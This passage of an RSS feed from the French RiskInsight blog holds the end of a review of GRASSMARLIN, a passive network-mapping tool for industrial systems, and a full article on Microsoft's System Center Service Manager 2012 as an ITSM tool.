<p>&nbsp;</p>
<figure id="post-15708 media-15708" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15708 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-1.png" alt="" width="320" height="169" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-1-71x37.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div style="text-align: center;"><i><u>Figure 10 : Vue logique de la maquette réordonnée</u></i></div>
<div style="text-align: center;"></div>
<p>Le temps d’apparition des équipements sur la carte est quasi-instantané dès réception des flux. GRASSMARLIN identifie bien l’ensemble des équipements présents tout en donnant les protocoles de communications utilisés.<br />
De même, un fichier XML de sortie est correctement généré à partir des fonctions d’export. Ce dernier résume l’ensemble des informations extraites par GRASSMARLIN et permet de réutiliser les données plus facilement :</p>
<p>&nbsp;</p>
<figure id="post-15710 media-15710" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15710 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-1.png" alt="" width="640" height="406" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-1-301x191.png 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-1-61x39.png 61w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div style="text-align: center;"><i><u>Figure 11 : Fichier de sortie XML</u></i></div>
<div style="text-align: center;"></div>
<p>Cependant, certaines limitations ont pu être observées :</p>
<ul>
<li>La non-concurrence des signatures<br />
Si un équipement répond à plusieurs signatures alors seule une signature est détectée. Ceci peut notamment poser problème dans le cas d’une IHM qui communique potentiellement avec différents automates en utilisant plusieurs protocoles de communication.</li>
<li>Le manque de verbosité de certaines signatures<br />
Les signatures comportent des champs descriptions dans leur Payload permettant de décrire au mieux le rôle de l’équipement identifié. Il est possible que ces champs soient laissés initialement vides ou peu renseignés ce qui peut compliquer la tâche d’identification.</li>
<li>Une analyse des échanges peu aboutie<br />
GRASSMARLIN ne fournit actuellement que les premiers éléments d’analyse sur les communications : tailles des paquets, instants d’envois. Dans les pistes d’améliorations de sa fonction d’analyse nous pourrions par exemple citer l’implémentation d’une fonction de reconnaissance de cycles dans les échanges entre IHM et automates.</li>
</ul>
<h2>Conclusion</h2>
<p>D’autres outils de détection passive de topologie sont disponibles sur le marché. Cependant GRASSMARLIN est actuellement l’un des rares, si ce n’est l’unique, à être destiné au SI industriels et à être Open-Source.<br />
En comparaison un autre outil nommé <a href="http://www.netresec.com/?page=NetworkMiner" target="_blank" rel="noopener">NetworkMiner</a> permet aussi de réaliser des topologies de réseaux en utilisant les signatures d’autres outils dont notamment : <a href="https://nmap.org/" target="_blank" rel="noopener">nmap</a>, <a href="http://lcamtuf.coredump.cx/p0f3/" target="_blank" rel="noopener">p0f</a> et <a href="https://ettercap.github.io/ettercap/" target="_blank" rel="noopener">Ettercap</a> . Néanmoins, ce dernier n’embarque pas à l’installation de signatures destinées aux protocoles industriels et n’est donc pas aussi précis que GRASSMARLIN.</p>
<figure id="post-15712 media-15712" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15712 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15-1.png" alt="" width="320" height="268" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15-1-228x191.png 228w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15-1-47x39.png 47w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div style="text-align: center;"><i><u>Figure 12 : Sortie de l’outil NetworkMiner pour 2 automates Siemens</u></i></div>
<div style="text-align: center;"></div>
<p>&nbsp;</p>
<figure id="post-15714 media-15714" class="align-none"><img loading="lazy" decoding="async" class="wp-image-15714 size-full aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-1.png" alt="" width="320" height="287" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-1-213x191.png 213w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-1-43x39.png 43w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div style="text-align: center;"><i><u>Figure 13 : Autre exemple – utilisation de l’outil p0f avec 2 automates Siemens</u></i></div>
<div style="text-align: center;"></div>
<div></div>
<figure id="post-15716 media-15716" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15716 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-1.png" alt="" width="640" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-1-437x143.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-1-71x23.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div style="text-align: center;"><i><u>Figure 14 : Sortie de GRASSMARLIN avec 2 automates Siemens</u></i></div>
<div style="text-align: center;"></div>
<p>Citons également la solution commerciale de Sentryo, dédiée elle aux SI industriels. Cette solution ne se contente pas de créer une cartographie à l’instant t, mais permet également d’alerter sur toutes variations par rapports aux communications habituelles, et ainsi de détecter des événements de sécurité. Lors de la démonstration à laquelle nous avons assistée, le niveau de détail fourni sur les automates (Schneider et Siemens à minima) était bien supérieur à celui qu’on peut actuellement obtenir avec Grassmarlin (marque, modèle, composants de l’automate et version du firmware par exemple).</p>
<figure id="post-15718 media-15718" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15718 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-1.png" alt="" width="640" height="240" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-1-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-1-71x27.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: center;"><i><u>Figure 15 : Extrait d’une cartographie générée par Sentryo (<a href="https://www.sentryo.net/how-to-start-your-ics-cybersecurity-project/">https://www.sentryo.net/how-to-start-your-ics-cybersecurity-project/</a>)</u></i></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2016/03/test-de-grassmarlin-outil-open-source/">Test de Grassmarlin, outil open-source de cartographie passive pour SI industriels</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Microsoft, challenger sur le marché des outils IT Service Management (ITSM) ?</title>
		<link>https://www.riskinsight-wavestone.com/en/2013/03/microsoft-challenger-sur-le-marche-des-outils-it-service-management-itsm/</link>
		
		<dc:creator><![CDATA[Juliette Rappy]]></dc:creator>
		<pubDate>Wed, 27 Mar 2013 16:47:12 +0000</pubDate>
				<category><![CDATA[Métiers - Stratégie & projets IT]]></category>
		<category><![CDATA[ITIL]]></category>
		<category><![CDATA[ITSM]]></category>
		<category><![CDATA[ITSSM]]></category>
		<category><![CDATA[outil]]></category>
		<category><![CDATA[outillage]]></category>
		<category><![CDATA[SCSM 2012]]></category>
		<category><![CDATA[Service Management]]></category>
		<category><![CDATA[Service Manager]]></category>
		<category><![CDATA[System Center]]></category>
		<guid isPermaLink="false">http://www.solucominsight.fr/?p=3582</guid>

					<description><![CDATA[<p>Utilisés aujourd’hui dans la quasi-totalité des DSI, les outils ITSM représentent un marché sur lequel se trouvent en bonne place des acteurs comme : BMC, CA, HP, IBM ou encore Service Now. Microsoft, géant de l’industrie logicielle, a lancé début 2010...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2013/03/microsoft-challenger-sur-le-marche-des-outils-it-service-management-itsm/">Microsoft, challenger sur le marché des outils IT Service Management (ITSM) ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><em>Utilisés aujourd’hui dans la quasi-totalité des DSI, les outils ITSM représentent un marché sur lequel se trouvent en bonne place des acteurs comme : BMC, CA, HP, IBM ou encore Service Now. </em></p>
<p><em>Microsoft, géant de l’industrie logicielle, a lancé début 2010 l’outil Service Manager SCSM en s’appuyant sur sa suite System Center. Après une nouvelle version sortie début 2012 (SCSM 2012) et un Service Pack 1 disponible depuis janvier 2013, Microsoft confirme sa volonté de consolider sa position sur toute la chaîne de gestion des services IT. Pour autant, il n’apparaît pas encore dans le <a href="http://www.gartner.com/technology/reprints.do?id=1-1BS56X7&amp;ct=120821&amp;st=sb" target="_blank" rel="noopener noreferrer">radar Gartner</a>. Quel est donc le potentiel de cette solution ? </em></p>
<h2>Quel sont les enjeux des outils ITSM ?</h2>
<p>Les outils ITSM permettent à la DSI de se professionnaliser et d’améliorer sa qualité  de service, sa réactivité vis-à-vis des utilisateurs et de mieux piloter la production informatique.</p>
<p>Le choix et le déploiement d’un outil ITSM est impactant en termes de délai, les décisions doivent être prises avec un horizon à moyen terme (5 ans). De plus, c’est un outil visible, utilisé par de nombreux acteurs de la DSI et servant l’ensemble des utilisateurs. Dans un environnement d’entreprise de plus en plus changeant, l’enjeu d’adaptabilité de l’outil est donc primordial. Il doit apporter la souplesse permettant d’intégrer et de se séparer facilement de nouveaux périmètres, groupes supports et prendre en compte de nouveaux paramètres.</p>
<p>Le besoin de plus en plus prégnant de maîtriser les coûts informatiques et l’utilisation de plus en plus  large de services externalisés imposent également aux outils de répondre aux besoins de reporting et de mesure des SLA et OLA souvent complexes.</p>
<p>Le <em>cloud</em> en tant que tendance de fond se décline également sur les outils ITSM. Les solutions SaaS peuvent séduire des clients adeptes de solutions « clé en main ».</p>
<p>Enfin, les utilisateurs sont de plus en plus habitués à des interfaces <em>user friendly</em> pour leurs usages personnels. Ils deviennent de plus en plus exigeants sur l’ergonomie des outils professionnels. Les interfaces doivent donc être simples, intuitives et proposer des temps de réponse courts.</p>
<p>Le choix d’un outil sera donc guidé par les spécificités de chaque DSI, comme sa taille, son mode d’organisation (dispersion géographique, périmètres externalisés), ses engagements contractuels (catalogue et niveaux de service, impacts financiers liés à la mesure des engagements de services). L’enjeu pour les éditeurs sera de répondre à ces attentes diverses.</p>
<h2>Qu’apporte la solution Microsoft ?</h2>
<p>Tout comme ses principaux concurrents, System Center Service Manager 2012 permet d’outiller de façon intégrée les principaux processus :</p>
<ul>
<li><em>Front-office</em> : gestion des incidents et gestion des demandes basée sur un module de gestion du catalogue de services.</li>
<li><em>Back-office</em> : gestion des problèmes, des changements, des mises en production et des configurations.</li>
</ul>
<p>Du point de vue définition et <em>design</em>, les processus pris en charge sont basés sur MOF (<em>Microsoft Operations Framework</em>), largement appuyé sur le référentiel internationalement reconnu ITIL V3.</p>
<p>La spécificité de l’outil tient principalement à son appartenance à la famille Microsoft :</p>
<ul>
<li>Il est accessible à travers deux canaux dont l’interface est facilement prise en main car conçue dans « l’esprit » Microsoft : un client riche, ou console, à destination des équipes IT, et un portail web aux fonctionnalités plus limitées à l’usage des utilisateurs finaux.</li>
<li>Il permet des interconnections natives avec les autres produits de la firme : l’<em>Active Directory </em>pour le peuplement de la solution, SCCM pour la gestion de configuration ou encore le portail Sharepoint pour le partage de la base de connaissance et la publication des <em>reporting</em>.</li>
<li>La solution de <em>reporting</em> embarquée est l’un des atouts de cet outil. Basée sur les services de <em>business intelligence</em> issus de la technologie Microsoft SQL et elle permet d’automatiser la production des tableaux de bord publiables directement sur SharePoint.</li>
</ul>
<h2>Quelles entreprises peuvent en tirer le meilleur bénéfice ?</h2>
<p>Le déploiement de cet outil met en avant la question du subtil équilibre à trouver entre l’adaptation de l’outil aux processus et l’adaptation des modes de fonctionnement de l’entreprise aux contraintes des éditeurs.</p>
<ul>
<li>Les possibilités d’adaptation de l’outil aux processus de l’entreprise éloignés des standards ITIL ou dotée d’une organisation avec de nombreux sites ou périmètres infogérés restent plus compliquées. Une personnalisation à l’aide du module « <em>Authoring Tool</em> » et de programmation XML devient nécessaire mais n’est supportée que lorsqu’elle est réalisée par Microsoft.</li>
<li>L’ergonomie du portail web reste un point à améliorer au regard des capacités de Microsoft : le nombre de clic gagnerait à être réduit et une fois encore la personnalisation est difficile du fait d’une structure en Silverlight totalement verrouillée.</li>
<li>D’un point de vue technique, l’interface web pour les utilisateurs n’est prise en charge que sur les plate-formes Windows Vista et ultérieures.</li>
</ul>
<p>Compte tenu de ces caractéristiques, Microsoft répond plus particulièrement aux besoins d’entreprises souhaitant s’appuyer avant tout sur la console <em>back-office</em> ou aux entreprises de taille moyenne qui n’auront besoin que d’un faible niveau de personnalisation et qui pourront s’appuyer sur une solution clé en main et un cadre de référence standard.</p>
<div><br clear="all" /></p>
<div></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2013/03/microsoft-challenger-sur-le-marche-des-outils-it-service-management-itsm/">Microsoft, challenger sur le marché des outils IT Service Management (ITSM) ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
